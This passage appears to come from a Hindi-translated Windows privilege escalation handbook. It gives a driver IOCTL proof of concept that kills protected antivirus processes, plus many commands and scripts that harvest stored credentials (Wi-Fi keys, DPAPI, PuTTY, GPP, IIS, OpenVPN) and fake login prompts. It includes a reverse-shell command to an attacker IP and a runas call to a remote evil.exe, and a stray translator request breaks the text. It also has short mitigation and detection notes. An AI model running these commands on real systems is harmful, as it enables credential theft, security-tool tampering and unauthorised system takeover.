कुछ signed third‑party drivers अपने device object को मजबूत SDDL के साथ IoCreateDeviceSecure के माध्यम से बनाते हैं लेकिन DeviceCharacteristics में FILE_DEVICE_SECURE_OPEN सेट करना भूल जाते हैं। इस flag के बिना, secure DACL तब लागू नहीं होता जब device को ऐसे path से खोला जाता है जिसमें एक अतिरिक्त component होता है, जिससे कोई भी unprivileged user निम्नलिखित जैसे namespace path का उपयोग करके handle प्राप्त कर सकता है:

  • \ .\DeviceName\anything
  • \ .\amsdk\anyfile (from a real-world case)

एक बार जब कोई user device को खोल सकता है, तो driver द्वारा expose किए गए privileged IOCTLs का दुरुपयोग LPE और tampering के लिए किया जा सकता है। वाइल्ड में देखी गई उदाहरण क्षमताएँ:

  • Arbitrary processes को full-access handles लौटाना (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
  • Unrestricted raw disk read/write (offline tampering, boot-time persistence tricks).
  • Arbitrary processes को terminate करना, जिसमें Protected Process/Light (PP/PPL) शामिल हैं, जिससे user land से kernel के माध्यम से AV/EDR kill संभव होता है।

Minimal PoC pattern (user mode):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Mitigations for developers

  • जब आप ऐसे device objects बनाते हैं जिन्हें DACL द्वारा प्रतिबंधित किया जाना चाहिए, तो हमेशा FILE_DEVICE_SECURE_OPEN सेट करें।
  • प्रिविलेज्ड ऑपरेशन्स के लिए caller context को validate करें। process termination या handle returns की अनुमति देने से पहले PP/PPL checks जोड़ें।
  • IOCTLs को सीमित करें (access masks, METHOD_*, input validation) और सीधे kernel privileges के बजाय brokered models पर विचार करें।

Detection ideas for defenders

  • संदिग्ध device names (e.g., \ .\amsdk*) की user-mode opens और दुरुपयोग को दर्शाने वाले specific IOCTL sequences की निगरानी करें।
  • Microsoft की vulnerable driver blocklist (HVCI/WDAC/Smart App Control) को लागू करें और अपनी अनुमति/निषेध सूचियाँ बनाए रखें।

PATH DLL Hijacking

If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.

Check permissions of all folders inside PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

इस चेक का दुरुपयोग करने के तरीके के बारे में अधिक जानकारी के लिए:

Writable Sys Path +Dll Hijacking Privesc

नेटवर्क

शेयर

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

hosts file में hardcoded अन्य ज्ञात कंप्यूटरों की जाँच करें

type C:\Windows\System32\drivers\etc\hosts

नेटवर्क इंटरफ़ेस & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Open Ports

बाहर से restricted services की जाँच करें

netstat -ano #Opened ports?

रूटिंग तालिका

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP तालिका

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

फ़ायरवॉल नियम

फ़ायरवॉल से संबंधित कमांड्स के लिए इस पृष्ठ को देखें (नियम सूचीबद्ध करना, नियम बनाना, बंद करना, बंद करना…)

अधिक नेटवर्क enumeration के लिए कमांड्स यहाँ

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

बाइनरी bash.exe को C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe में भी पाया जा सकता है।

यदि आप root user प्राप्त कर लेते हैं, तो आप किसी भी पोर्ट पर listen कर सकते हैं (पहली बार जब आप nc.exe को किसी पोर्ट पर listen करने के लिए उपयोग करेंगे, तो यह GUI के माध्यम से पूछेगा कि nc को firewall द्वारा allowed किया जाना चाहिए या नहीं)।

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

root के रूप में bash को आसानी से शुरू करने के लिए, आप --default-user root आज़माकर देख सकते हैं

आप WSL फ़ाइलसिस्टम को इस फ़ोल्डर में एक्सप्लोर कर सकते हैं C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Windows क्रेडेंशियल्स

Winlogon क्रेडेंशियल्स

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

क्रेडेंशियल मैनेजर / Windows vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault सर्वर, वेबसाइट और अन्य प्रोग्रामों के लिए उपयोगकर्ता क्रेडेंशियल्स स्टोर करता है जिन्हें Windows log in the users automatically। पहली नज़र में ऐसा लग सकता है कि उपयोगकर्ता अपने Facebook, Twitter, Gmail आदि के क्रेडेंशियल्स यहाँ स्टोर कर सकते हैं ताकि वे ब्राउज़रों के माध्यम से अपने आप लॉग इन हो जाएँ। लेकिन ऐसा नहीं है।

Windows Vault उन क्रेडेंशियल्स को स्टोर करता है जिनसे Windows उपयोगकर्ताओं को स्वतः लॉग इन कर सकता है, जिसका मतलब है कि कोई भी Windows application that needs credentials to access a resource (server या website) can make use of this Credential Manager & Windows Vault और दिए गए क्रेडेंशियल्स का उपयोग कर सकता है, बजाय इसके कि उपयोगकर्ता बार-बार username और password दर्ज करें।

जब तक applications Credential Manager के साथ interact नहीं करते, मुझे नहीं लगता कि वे किसी दिए गए resource के लिए क्रेडेंशियल्स का उपयोग कर पाएँगे। इसलिए, यदि आपका application vault का उपयोग करना चाहता है, तो इसे किसी न किसी तरह से default storage vault से उस resource के लिए क्रेडेंशियल्स का अनुरोध करने और communicate with the credential manager and request the credentials for that resource करना चाहिए।

मशीन पर स्टोर किए गए क्रेडेंशियल्स की सूची दिखाने के लिए cmdkey का उपयोग करें।

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

फिर आप सहेजे गए क्रेडेंशियल्स का उपयोग करने के लिए runas को /savecred विकल्प के साथ प्रयोग कर सकते हैं। निम्नलिखित उदाहरण SMB share के माध्यम से एक remote binary को कॉल कर रहा है।

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

दिए गए क्रेडेंशियल सेट के साथ runas का उपयोग करना।

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

ध्यान रखें कि mimikatz, lazagne, credentialfileview, VaultPasswordView, या Empire Powershells module से।

DPAPI

The Data Protection API (DPAPI) डेटा के symmetric encryption का एक तरीका प्रदान करता है, जो मुख्यतः Windows ऑपरेटिंग सिस्टम के भीतर asymmetric private keys के symmetric encryption के लिए उपयोग किया जाता है। यह एन्क्रिप्शन entropy में महत्वपूर्ण योगदान करने के लिए उपयोगकर्ता या सिस्टम secret का उपयोग करता है।

DPAPI उपयोगकर्ता के login secrets से व्युत्पन्न एक symmetric key के माध्यम से keys के encryption को सक्षम बनाता है। सिस्टम एन्क्रिप्शन के मामलों में यह सिस्टम के domain authentication secrets का उपयोग करता है।

DPAPI का उपयोग करके encrypted user RSA keys %APPDATA%\Microsoft\Protect\{SID} डायरेक्टरी में स्टोर होते हैं, जहाँ {SID} उपयोगकर्ता का Security Identifier दर्शाता है। The DPAPI key, co-located with the master key that safeguards the user’s private keys in the same file, सामान्यतः 64 bytes के random data से बनी होती है। (यह ध्यान देने योग्य है कि इस डायरेक्टरी तक पहुँच प्रतिबंधित है, इसलिए इसकी सामग्री को CMD के dir कमांड से सूचीबद्ध नहीं किया जा सकता, हालांकि इसे PowerShell के माध्यम से सूचीबद्ध किया जा सकता है)।

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

आप उपयुक्त आर्गुमेंट्स (/pvk या /rpc) के साथ mimikatz module dpapi::masterkey का उपयोग करके इसे डिक्रिप्ट कर सकते हैं।

credentials files protected by the master password आम तौर पर निम्न स्थानों पर पाए जाते हैं:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

आप उपयुक्त /masterkey के साथ mimikatz module dpapi::cred का उपयोग करके decrypt कर सकते हैं.
आप sekurlsa::dpapi module के साथ memory से कई DPAPI masterkeys extract कर सकते हैं (यदि आप root हैं).

DPAPI - Extracting Passwords

PowerShell Credentials

PowerShell credentials का उपयोग अक्सर scripting और automation tasks के लिए किया जाता है ताकि encrypted credentials को सुविधाजनक तरीके से store किया जा सके। ये credentials DPAPI द्वारा सुरक्षित होते हैं, जिसका सामान्यतः अर्थ यह है कि इन्हें केवल उसी user द्वारा उसी computer पर ही decrypt किया जा सकता है जहाँ ये बनाए गए थे।

जिस फाइल में PS credentials मौजूद हों, उसे decrypt करने के लिए आप निम्न कर सकते हैं:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

सहेजे गए RDP कनेक्शन

आप इन्हें HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\\ और HKCU\Software\Microsoft\Terminal Server Client\Servers\ में पा सकते हैं।

हाल ही में चलाए गए कमांड

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

रिमोट डेस्कटॉप क्रेडेंशियल मैनेजर

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Use the Mimikatz dpapi::rdg module with appropriate /masterkey to **decrypt any .rdg files\ You can **extract many DPAPI masterkeys** from memory with the Mimikatz sekurlsa::dpapi` module

Sticky Notes

लोग अक्सर Windows workstations पर StickyNotes app का उपयोग save passwords और अन्य जानकारी स्टोर करने के लिए करते हैं, यह समझे बिना कि यह एक database file है। यह फ़ाइल C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite में स्थित है और इसे खोजकर जांचना हमेशा लाभकारी होता है।

AppCmd.exe

Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.
AppCmd.exe %systemroot%\system32\inetsrv\ directory में स्थित है।
यदि यह फ़ाइल मौजूद है तो संभव है कि कुछ credentials configure किए गए हों और इन्हें recovered किया जा सके।

This code was extracted from PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

जाँच करें कि C:\Windows\CCM\SCClient.exe मौजूद है .
इंस्टॉलर run with SYSTEM privileges, कई DLL Sideloading (Info from https://github.com/enjoiz/Privesc) के लिए प्रवण हैं।

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

फ़ाइलें और Registry (Credentials)

Putty Creds

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH Host Keys

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH keys रजिस्ट्री में

SSH private keys रजिस्ट्री की कुंजी HKCU\Software\OpenSSH\Agent\Keys के अंदर संग्रहीत हो सकते हैं, इसलिए आपको जाँचना चाहिए कि वहाँ कुछ रोचक तो नहीं:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

यदि आपको उस path के अंदर कोई entry मिलती है तो यह शायद एक saved SSH key होगी। यह encrypted रूप में संग्रहीत होती है लेकिन इसे आसानी से decrypted किया जा सकता है using https://github.com/ropnop/windows_sshagent_extract.
More information about this technique here: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

If ssh-agent service is not running and you want it to automatically start on boot run:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

ऐसा लगता है कि यह तकनीक अब मान्य नहीं है। मैंने कुछ ssh keys बनाने, उन्हें ssh-add से जोड़ने और ssh के माध्यम से एक मशीन में लॉगिन करने की कोशिश की। रजिस्ट्री HKCU\Software\OpenSSH\Agent\Keys मौजूद नहीं है और procmon ने असिमेट्रिक की प्रमाणीकरण के दौरान dpapi.dll के उपयोग की पहचान नहीं की।

बिना निगरानी की फ़ाइलें

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

आप इन फ़ाइलों को metasploit का उपयोग करके भी खोज सकते हैं: post/windows/gather/enum_unattend

उदाहरण सामग्री:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM बैकअप्स

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

क्लाउड क्रेडेंशियल्स

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

एक फ़ाइल खोजें जिसका नाम SiteList.xml हो

Cached GPP पासवर्ड

एक सुविधा पहले उपलब्ध थी जो Group Policy Preferences (GPP) के माध्यम से मशीनों के एक समूह पर कस्टम स्थानीय व्यवस्थापक खाते तैनात करने की अनुमति देती थी। हालांकि, इस तरीके में महत्वपूर्ण सुरक्षा कमियाँ थीं। पहली बात, Group Policy Objects (GPOs), जो SYSVOL में XML फ़ाइलों के रूप में संग्रहीत होते हैं, किसी भी डोमेन उपयोगकर्ता द्वारा एक्सेस किए जा सकते थे। दूसरी बात, इन GPPs में मौजूद पासवर्ड, जो AES256 से एन्क्रिप्ट होते हैं और एक सार्वजनिक रूप से दस्तावेज़ित default key का उपयोग करते हैं, किसी भी प्रमाणीकृत उपयोगकर्ता द्वारा डिक्रिप्ट किए जा सकते थे। यह एक गंभीर जोखिम था, क्योंकि इससे उपयोगकर्ता उच्च अधिकार (elevated privileges) प्राप्त कर सकते थे।

इस जोखिम को कम करने के लिए, एक फ़ंक्शन विकसित किया गया था जो लोकली cached GPP फ़ाइलों को स्कैन करता है जिनमें एक खाली नहीं “cpassword” फ़ील्ड होती है। ऐसी किसी फ़ाइल के मिलने पर, फ़ंक्शन पासवर्ड को डिक्रिप्ट करता है और एक custom PowerShell object लौटाता है। यह object GPP और फ़ाइल के स्थान के बारे में विवरण शामिल करता है, जिससे इस सुरक्षा कमज़ोरी की पहचान और सुधार में मदद मिलती है।

इन फ़ाइलों के लिए C:\ProgramData\Microsoft\Group Policy\history या C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (previous to W Vista) में खोजें:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

cPassword को डिक्रिप्ट करने के लिए:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

पासवर्ड प्राप्त करने के लिए crackmapexec का उपयोग:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web Config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

credentials के साथ web.config का उदाहरण:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPN क्रेडेंशियल्स

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

लॉग्स

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

credentials के लिए पूछें

आप हमेशा उपयोगकर्ता से उसके credentials या यहाँ तक कि किसी अन्य उपयोगकर्ता के credentials दर्ज करने के लिए पूछ सकते हैं अगर आपको लगता है कि वह उन्हें जानता होगा (ध्यान दें कि क्लाइंट से सीधे credentials के लिए पूछना वास्तव में बहुत जोखिम भरा है):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

संभावित filenames जिनमें credentials होते हैं

ज्ञात फाइलें जो कुछ समय पहले passwords clear-text या Base64 में मौजूद थीं

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

कृपया अनुवाद/सर्च के लिए src/windows-hardening/windows-local-privilege-escalation/README.md की सामग्री चिपका दें या बताएं वे कौन‑सी “proposed files” हैं जिनमें मुझे खोज करनी है।

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

RecycleBin में Credentials

आपको अंदर के credentials देखने के लिए Bin को भी चेक करना चाहिए।

कई programs द्वारा सेव किए गए पासवर्ड पुनर्प्राप्त करने के लिए आप उपयोग कर सकते हैं: http://www.nirsoft.net/password_recovery_tools.html

registry के अंदर

credentials वाले अन्य संभावित registry keys

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

ब्राउज़र्स इतिहास

आपको उन DBs की जाँच करनी चाहिए जहाँ Chrome or Firefox के पासवर्ड स्टोर होते हैं।
साथ ही ब्राउज़र्स के history, bookmarks और favourites भी चेक करें क्योंकि शायद कुछ passwords are वहीं स्टोर हों।

Tools to extract passwords from browsers:

COM DLL Overwriting

Component Object Model (COM) Windows ऑपरेटिंग सिस्टम के भीतर निर्मित एक technology है जो अलग-अलग भाषाओं के software components के बीच intercommunication को सक्षम बनाती है। प्रत्येक COM component एक class ID (CLSID) के माध्यम से पहचानित होता है और प्रत्येक component एक या अधिक interfaces के माध्यम से functionality expose करता है, जिन्हें interface IDs (IIDs) द्वारा पहचाना जाता है।

COM classes और interfaces registry में HKEY\CLASSES\ROOT\CLSID और HKEY\CLASSES\ROOT\Interface के तहत परिभाषित होते हैं। यह registry HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes को मर्ज करके बनता है = HKEY\CLASSES\ROOT.

Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) or Neutral (Thread Neutral).

साधारणतः, अगर आप उन किसी भी DLLs को overwrite कर सकते हैं जो execute होने वाली हैं, तो आप escalate privileges कर सकते हैं अगर वह DLL किसी दूसरे user द्वारा execute किया जाएगा।

यह जानने के लिए कि attackers COM Hijacking को persistence mechanism के रूप में कैसे इस्तेमाल करते हैं, देखें:

COM Hijacking

Generic Password search in files and registry

फ़ाइलों की सामग्री खोजें

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

किसी निश्चित फ़ाइलनाम वाली फ़ाइल खोजें

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

रजिस्ट्री में कुंजी नामों और पासवर्ड्स की खोज करें

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

passwords खोजने वाले टूल

MSF-Credentials Plugin is a msf plugin मैंने यह प्लगइन बनाया है ताकि यह स्वचालित रूप से प्रत्येक metasploit POST module जो credentials खोजता है, victim के अंदर execute कर सके.\
Winpeas स्वचालित रूप से इस पृष्ठ में उल्लिखित उन सभी फाइलों को खोजता है जिनमें passwords होते हैं.\
Lazagne सिस्टम से password निकालने के लिए एक और बेहतरीन टूल है।

The tool SessionGopher उन कई टूल्स के sessions, usernames और passwords खोजता है जो यह डेटा clear text में सेव करते हैं (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

कल्पना करें कि SYSTEM के रूप में चल रही एक प्रक्रिया OpenProcess() के साथ एक नया प्रोसेस खोलती है और उसे full access मिलता है। वही प्रक्रिया CreateProcess() के साथ एक नया प्रोसेस भी बनाती है जो low privileges वाला है लेकिन main प्रक्रिया के सभी open handles को inherit कर रहा है।
